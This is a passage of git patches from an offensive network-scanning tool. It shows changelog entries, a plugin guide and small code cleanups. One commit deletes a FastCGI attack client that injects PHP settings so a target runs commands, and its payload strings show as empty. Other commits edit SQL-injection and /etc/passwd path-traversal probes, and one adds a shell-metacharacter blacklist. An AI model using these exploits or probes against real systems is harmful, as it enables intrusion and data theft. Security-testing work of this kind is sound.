修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 -[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 -[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 -修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 -[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 -[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 -[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 -[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 -[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。 -[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 -[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 +# 0x11 最近更新 +## 2024 更新 + +- **2024/12/19**: v2.0.0 重大更新 + - 完整代码重构,提升性能和可维护性 + - 重新设计模块化架构,支持插件扩展 + - 改进并发控制,提升扫描效率 + +## 2023 更新 + +- **2023/11/13**: + - 新增控制台颜色输出(可用 `-nocolor` 关闭) + - 支持JSON格式保存结果(`-json`) + - 调整TLS最低版本至1.0 + - 支持端口分组(`-p db,web,service`) + +## 2022 更新 +- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能 +- **2022/7/14**: 改进文件导入支持和搜索匹配功能 +- **2022/7/6**: 优化内存管理,扩展URL支持 +- **2022/7/2**: + - 增强POC fuzz模块 + - 新增MS17017利用功能 + - 加入socks5代理支持 +- **2022/4/20**: 新增POC路径指定和端口文件导入功能 +- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito) +- **2022/1/11**: 新增Oracle密码爆破 +- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能 + +## 2021 更新 +- **2021/12/7**: 新增RDP扫描功能 +- **2021/12/1**: 全面优化功能模块 +- **2021/6/18**: 改进POC识别机制 +- **2021/5/29**: 新增FCGI未授权扫描 +- **2021/5/15**: 发布Windows 2003版本 +- **2021/5/6**: 更新核心模块 +- **2021/4/21**: 加入NetBIOS探测和域控识别 +- **2021/3/4**: 支持URL批量扫描 +- **2021/2/25**: 支持密码爆破功能 +- **2021/2/8**: 新增指纹识别功能 +- **2021/2/5**: 优化ICMP探测 + +## 2020 更新 +- **2020/12/12**: 集成YAML解析引擎,支持XRay POC +- **2020/12/6**: 优化ICMP模块 +- **2020/12/03**: 改进IP段处理 +- **2020/11/17**: 新增WebScan模块 +- **2020/11/16**: 优化ICMP模块 +- **2020/11/15**: 支持文件导入IP + +_感谢所有为项目做出贡献的开发者_ [url-docen]: README_EN.md From 7dbb6b652f2ca3c73930d9da1f15d23ef97d0e52 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:51:43 +0800 Subject: [PATCH 54/80] =?UTF-8?q?docs:=20=E6=B7=BB=E5=8A=A0=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E7=BC=96=E5=86=99=E6=8C=87=E5=8D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Docs/插件编写指南.md | 88 ++++++++++ Plugins/fcgiscan.go | 377 ------------------------------------------- 2 files changed, 88 insertions(+), 377 deletions(-) create mode 100644 Docs/插件编写指南.md delete mode 100644 Plugins/fcgiscan.go diff --git a/Docs/插件编写指南.md b/Docs/插件编写指南.md new file mode 100644 index 0000000..b9d8094 --- /dev/null +++ b/Docs/插件编写指南.md @@ -0,0 +1,88 @@ +# FScan 插件开发指南 + +## 1. 创建插件 +在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`: + +```go +package Plugins + +import ( + "github.com/shadow1ng/fscan/Common" +) + +func MyPluginScan(info *Common.HostInfo) error { + // 1. 基础检查 + if info == nil { + return errors.New("Invalid host info") + } + + // 2. 实现扫描逻辑 + result, err := doScan(info) + if err != nil { + return err + } + + // 3. 处理结果 + if result.Vulnerable { + Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port)) + } + + return nil +} +``` + +## 2. 注册插件 +在 `Core/Registry.go` 中注册你的插件: + +```go +Common.RegisterPlugin("myplugin", Common.ScanPlugin{ + Name: "MyPlugin", + Port: 12345, // 指定端口,如果是web类插件可设为0 + ScanFunc: Plugins.MyPluginScan, +}) +``` + +## 3. 开发规范 + +### 插件结构 +- 每个插件应当是独立的功能模块 +- 使用清晰的函数名和变量名 +- 添加必要的注释说明功能和实现逻辑 + +### 错误处理 +```go +// 推荐的错误处理方式 +if err != nil { + return fmt.Errorf("plugin_name scan error: %v", err) +} +``` + +### 日志输出 +```go +// 使用内置的日志函数 +Common.LogSuccess("发现漏洞") +Common.LogError("扫描错误") +``` + +## 4. 测试验证 + +- 编译整个项目确保无错误 +- 实际环境测试插件功能 +- 验证与其他插件的兼容性 + +## 5. 提交流程 + +1. Fork 项目仓库 +2. 创建功能分支 +3. 提交代码更改 +4. 编写清晰的提交信息 +5. 创建 Pull Request + +## 注意事项 + +- 遵循 Go 编码规范 +- 保证代码可读性和可维护性 +- 禁止提交恶意代码 +- 做好异常处理和超时控制 +- 避免过度消耗系统资源 +- 注意信息安全,不要泄露敏感数据 diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go deleted file mode 100644 index 90165f1..0000000 --- a/Plugins/fcgiscan.go +++ /dev/null @@ -1,377 +0,0 @@ -package Plugins - -import ( - "bufio" - "bytes" - "encoding/binary" - "errors" - "fmt" - "github.com/shadow1ng/fscan/Common" - "io" - "strconv" - "strings" - "sync" - "time" -) - -//links -//https://xz.aliyun.com/t/9544 -//https://github.com/wofeiwo/webcgi-exploits - -// FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Common.HostInfo) error { - // 如果设置了暴力破解模式则跳过 - if Common.IsBrute { - return nil - } - fmt.Println("[+] Fcgi扫描模块开始...") - - // 设置目标URL路径 - url := "/etc/issue" - if Common.Path != "" { - url = Common.Path - } - addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) - - // 构造PHP命令注入代码 - var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 - - switch { - case Common.Command == "read": - reqParams = "" // 读取模式 - case Common.Command != "": - reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 - default: - reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami - } - - // 设置FastCGI环境变量 - env := map[string]string{ - "SCRIPT_FILENAME": url, - "DOCUMENT_ROOT": "/", - "SERVER_SOFTWARE": "go / fcgiclient ", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_PROTOCOL": "HTTP/1.1", - } - - // 根据请求类型设置对应的环境变量 - if len(reqParams) != 0 { - env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) - env["REQUEST_METHOD"] = "POST" - env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" - } else { - env["REQUEST_METHOD"] = "GET" - } - - // 建立FastCGI连接 - fcgi, err := New(addr, Common.Timeout) - defer func() { - if fcgi.rwc != nil { - fcgi.rwc.Close() - } - }() - if err != nil { - fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 发送FastCGI请求 - stdout, stderr, err := fcgi.Request(env, reqParams) - if err != nil { - fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 处理响应结果 - output := string(stdout) - var result string - - if strings.Contains(output, cutLine) { - // 命令执行成功,提取输出结果 - output = strings.SplitN(output, cutLine, 2)[0] - if len(stderr) > 0 { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || - strings.Contains(output, "Content-type") || - strings.Contains(output, "Status") { - // 目标存在FastCGI服务但可能路径错误 - if len(stderr) > 0 { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } - - fmt.Println("[+] Fcgi扫描模块结束...") - return nil -} - -// for padding so we don't have to allocate all the time -// not synchronized because we don't care what the contents are -var pad [maxPad]byte - -const ( - FCGI_BEGIN_REQUEST uint8 = iota + 1 - FCGI_ABORT_REQUEST - FCGI_END_REQUEST - FCGI_PARAMS - FCGI_STDIN - FCGI_STDOUT - FCGI_STDERR -) - -const ( - FCGI_RESPONDER uint8 = iota + 1 -) - -const ( - maxWrite = 6553500 // maximum record body - maxPad = 255 -) - -type header struct { - Version uint8 - Type uint8 - Id uint16 - ContentLength uint16 - PaddingLength uint8 - Reserved uint8 -} - -func (h *header) init(recType uint8, reqId uint16, contentLength int) { - h.Version = 1 - h.Type = recType - h.Id = reqId - h.ContentLength = uint16(contentLength) - h.PaddingLength = uint8(-contentLength & 7) -} - -type record struct { - h header - buf [maxWrite + maxPad]byte -} - -func (rec *record) read(r io.Reader) (err error) { - if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { - return err - } - if rec.h.Version != 1 { - return errors.New("fcgi: invalid header version") - } - n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) - if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { - return err - } - return nil -} - -func (r *record) content() []byte { - return r.buf[:r.h.ContentLength] -} - -type FCGIClient struct { - mutex sync.Mutex - rwc io.ReadWriteCloser - h header - buf bytes.Buffer - keepAlive bool -} - -func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) - fcgi = &FCGIClient{ - rwc: conn, - keepAlive: false, - } - return -} - -func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { - c.mutex.Lock() - defer c.mutex.Unlock() - c.buf.Reset() - c.h.init(recType, reqId, len(content)) - if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { - return err - } - if _, err := c.buf.Write(content); err != nil { - return err - } - if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { - return err - } - _, err = c.rwc.Write(c.buf.Bytes()) - return err -} - -func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { - b := [8]byte{byte(role >> 8), byte(role), flags} - return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) -} - -func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { - b := make([]byte, 8) - binary.BigEndian.PutUint32(b, uint32(appStatus)) - b[4] = protocolStatus - return c.writeRecord(FCGI_END_REQUEST, reqId, b) -} - -func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { - w := newWriter(c, recType, reqId) - b := make([]byte, 8) - for k, v := range pairs { - n := encodeSize(b, uint32(len(k))) - n += encodeSize(b[n:], uint32(len(v))) - if _, err := w.Write(b[:n]); err != nil { - return err - } - if _, err := w.WriteString(k); err != nil { - return err - } - if _, err := w.WriteString(v); err != nil { - return err - } - } - w.Close() - return nil -} - -func readSize(s []byte) (uint32, int) { - if len(s) == 0 { - return 0, 0 - } - size, n := uint32(s[0]), 1 - if size&(1<<7) != 0 { - if len(s) < 4 { - return 0, 0 - } - n = 4 - size = binary.BigEndian.Uint32(s) - size &^= 1 << 31 - } - return size, n -} - -func readString(s []byte, size uint32) string { - if size > uint32(len(s)) { - return "" - } - return string(s[:size]) -} - -func encodeSize(b []byte, size uint32) int { - if size > 127 { - size |= 1 << 31 - binary.BigEndian.PutUint32(b, size) - return 4 - } - b[0] = byte(size) - return 1 -} - -// bufWriter encapsulates bufio.Writer but also closes the underlying stream when -// Closed. -type bufWriter struct { - closer io.Closer - *bufio.Writer -} - -func (w *bufWriter) Close() error { - if err := w.Writer.Flush(); err != nil { - w.closer.Close() - return err - } - return w.closer.Close() -} - -func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { - s := &streamWriter{c: c, recType: recType, reqId: reqId} - w := bufio.NewWriterSize(s, maxWrite) - return &bufWriter{s, w} -} - -// streamWriter abstracts out the separation of a stream into discrete records. -// It only writes maxWrite bytes at a time. -type streamWriter struct { - c *FCGIClient - recType uint8 - reqId uint16 -} - -func (w *streamWriter) Write(p []byte) (int, error) { - nn := 0 - for len(p) > 0 { - n := len(p) - if n > maxWrite { - n = maxWrite - } - if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { - return nn, err - } - nn += n - p = p[n:] - } - return nn, nil -} - -func (w *streamWriter) Close() error { - // send empty record to close the stream - return w.c.writeRecord(w.recType, w.reqId, nil) -} - -func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { - - var reqId uint16 = 1 - defer c.rwc.Close() - - err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) - if err != nil { - return - } - err = c.writePairs(FCGI_PARAMS, reqId, env) - if err != nil { - return - } - if len(reqStr) > 0 { - err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) - if err != nil { - return - } - } - - rec := &record{} - var err1 error - - // recive untill EOF or FCGI_END_REQUEST - for { - err1 = rec.read(c.rwc) - if err1 != nil { - if err1 != io.EOF { - err = err1 - } - break - } - switch { - case rec.h.Type == FCGI_STDOUT: - retout = append(retout, rec.content()...) - case rec.h.Type == FCGI_STDERR: - reterr = append(reterr, rec.content()...) - case rec.h.Type == FCGI_END_REQUEST: - fallthrough - default: - break - } - } - - return -} From 97b205f4a7d763670c687366b2f884db71d0662a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:15:32 +0800 Subject: [PATCH 55/80] Update seeyon-a6-test-jsp-sql.yml --- WebScan/pocs/seeyon-a6-test-jsp-sql.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml index a5e467a..c104494 100644 --- a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml +++ b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 210000000) rules: - method: GET - path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: From ce211fef78cbcb2966c0e721a1093355ac832bee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:16:49 +0800 Subject: [PATCH 56/80] Update ruoyi-management-fileread.yml --- WebScan/pocs/ruoyi-management-fileread.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml index 547f5b8..f052fb0 100644 --- a/WebScan/pocs/ruoyi-management-fileread.yml +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -2,7 +2,7 @@ name: poc-yaml-ruoyi-management-fileread groups: linux: - method: GET - path: /Common/download/resource?resource=/profile/../../../../etc/passwd + path: /common/download/resource?resource=/profile/../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: From 2c1bdd98eea4224c724eecc9cde0ad4e5beef0fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:20:43 +0800 Subject: [PATCH 57/80] Update yonyou-u8-oa-sqli.yml --- WebScan/pocs/yonyou-u8-oa-sqli.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/WebScan/pocs/yonyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml index 324cdd3..51aa2c1 100644 --- a/WebScan/pocs/yonyou-u8-oa-sqli.yml +++ b/WebScan/pocs/yonyou-u8-oa-sqli.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 220000000) rules: - method: GET - path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) @@ -11,4 +11,4 @@ rules: detail: author: kzaopa(https://github.com/kzaopa) links: - - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html \ No newline at end of file + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html From 6ee7bab188f0571bb5713f999281f0427f2bbbc8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:39:51 +0800 Subject: [PATCH 58/80] Update ruoyi-management-fileread.yml --- WebScan/pocs/ruoyi-management-fileread.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml index f052fb0..6debdd1 100644 --- a/WebScan/pocs/ruoyi-management-fileread.yml +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -7,7 +7,7 @@ groups: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET - path: /Common/download/resource?resource=/profile/../../../../Windows/win.ini + path: /common/download/resource?resource=/profile/../../../../Windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: From 5c05965967d95d3e5084745698e02823d5e2d492 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:17:09 +0800 Subject: [PATCH 59/80] Update ICMP.go --- Core/ICMP.go | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/Core/ICMP.go b/Core/ICMP.go index f70a895..26bb546 100644 --- a/Core/ICMP.go +++ b/Core/ICMP.go @@ -259,8 +259,15 @@ func RunPing(hostslist []string, chanHosts chan string) { // ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { + // 过滤黑名单字符 + forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"} + for _, char := range forbiddenChars { + if strings.Contains(ip, char) { + return false + } + } + var command *exec.Cmd - // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": From 035bf862a34ad8b70966bc4477d308b457d2d4f9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:23:59 +0800 Subject: [PATCH 60/80] Update FTP.go --- Plugins/FTP.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index a13dc66..041999e 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -14,7 +14,6 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] FTP扫描模块开始...") starttime := time.Now().Unix() @@ -56,7 +55,6 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] FTP扫描模块结束...") // 添加结束打印 return tmperr } From 39dabbfb9e2f2d8cf80800bd075efd1574eacf81 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:25:49 +0800 Subject: [PATCH 61/80] Update SSH.go --- Plugins/SSH.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 478f4a2..b56267e 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -15,7 +15,6 @@ func SshScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] SSH扫描模块开始...") // 增加全局扫描超时 scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second) @@ -89,7 +88,6 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } } - fmt.Println("[+] SSH扫描模块结束...") return tmperr } From 141848773590e44591e28b0eb296a8b0cdfc557c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:26:48 +0800 Subject: [PATCH 62/80] Update FcgiScan.go --- Plugins/FcgiScan.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index 90165f1..c01c064 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -24,7 +24,6 @@ func FcgiScan(info *Common.HostInfo) error { if Common.IsBrute { return nil } - fmt.Println("[+] Fcgi扫描模块开始...") // 设置目标URL路径 url := "/etc/issue" @@ -112,7 +111,6 @@ func FcgiScan(info *Common.HostInfo) error { Common.LogSuccess(result) } - fmt.Println("[+] Fcgi扫描模块结束...") return nil } From 75cd097e35cd4750d99c8ec52503e58d4aa45880 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:27:28 +0800 Subject: [PATCH 63/80] Update FindNet.go --- Plugins/FindNet.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 63f8190..ef71538 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -19,7 +19,6 @@ var ( // Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Common.HostInfo) error { - fmt.Println("[+] FindNet扫描模块开始...") return FindnetScan(info) } @@ -77,7 +76,6 @@ func FindnetScan(info *Common.HostInfo) error { } // 解析主机信息 - fmt.Println("[+] FindNet扫描模块结束...") return read(text, info.Host) } From de076d1a130a01cbe76d66b1502f3c07305fb8e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:28:29 +0800 Subject: [PATCH 64/80] Update MS17010.go --- Plugins/MS17010.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index d80b15c..45b18fc 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -87,14 +87,12 @@ func MS17010(info *Common.HostInfo) error { if Common.IsBrute { return nil } - fmt.Println("[+] MS17010扫描模块开始...") // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } - fmt.Println("[+] MS17010扫描模块结束...") return err } From 2969cac802d6ad3795a82a31e3880191f348d3ec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:29:23 +0800 Subject: [PATCH 65/80] Update MSSQL.go --- Plugins/MSSQL.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 4df1e36..d69bafa 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -14,7 +14,6 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Mssql扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Mssql扫描模块结束...") return tmperr } From d6349a9d882138240a384cccb0f61f613eeef604 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:29:55 +0800 Subject: [PATCH 66/80] Update Memcached.go --- Plugins/Memcached.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index 76a8f17..c086da0 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -9,7 +9,6 @@ import ( // MemcachedScan 检测Memcached未授权访问 func MemcachedScan(info *Common.HostInfo) error { - fmt.Println("[+] Memcached扫描模块开始...") realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) timeout := time.Duration(Common.Timeout) * time.Second @@ -45,6 +44,5 @@ func MemcachedScan(info *Common.HostInfo) error { Common.LogSuccess(result) } - fmt.Println("[+] Memcached扫描模块结束...") return nil } From 8984ae52a3dd7bd6352091798116810cda9e7040 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:30:29 +0800 Subject: [PATCH 67/80] Update Mongodb.go --- Plugins/Mongodb.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 95b3ba4..38a61ef 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -12,14 +12,12 @@ func MongodbScan(info *Common.HostInfo) error { if Common.IsBrute { return nil } - fmt.Println("[+] Mongodb扫描模块开始...") _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } - fmt.Println("[+] Mongodb扫描模块结束...") return err } From 8837f61197d2a3afc416d4ce334c3210243c4bd0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:31:09 +0800 Subject: [PATCH 68/80] Update MySQL.go --- Plugins/MySQL.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 17334e8..a4f7fa4 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -14,7 +14,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Mysql扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Mysql扫描模块结束...") return tmperr } From 96798b6fa3f9988f5ecc08ca43d496158efdf964 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:32:11 +0800 Subject: [PATCH 69/80] Update NetBIOS.go --- Plugins/NetBIOS.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 2d8a0ed..7f81063 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -15,7 +15,6 @@ import ( var errNetBIOS = errors.New("netbios error") func NetBIOS(info *Common.HostInfo) error { - fmt.Println("[+] NetBIOS扫描模块开始...") netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -23,7 +22,6 @@ func NetBIOS(info *Common.HostInfo) error { Common.LogSuccess(result) return nil } - fmt.Println("[+] NetBIOS扫描模块结束...") return errNetBIOS } From e34b737b87ba73805c8c6cf0da04e7b10293eaa8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:33:31 +0800 Subject: [PATCH 70/80] Update Oracle.go --- Plugins/Oracle.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index 2d98a60..0d05884 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -14,7 +14,6 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Oracle扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Oracle扫描模块结束...") return tmperr } From f3ba1acd75ee93ba5b0010a0c81c1b16ab93f5fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:34:09 +0800 Subject: [PATCH 71/80] Update Postgres.go --- Plugins/Postgres.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Postgres.go 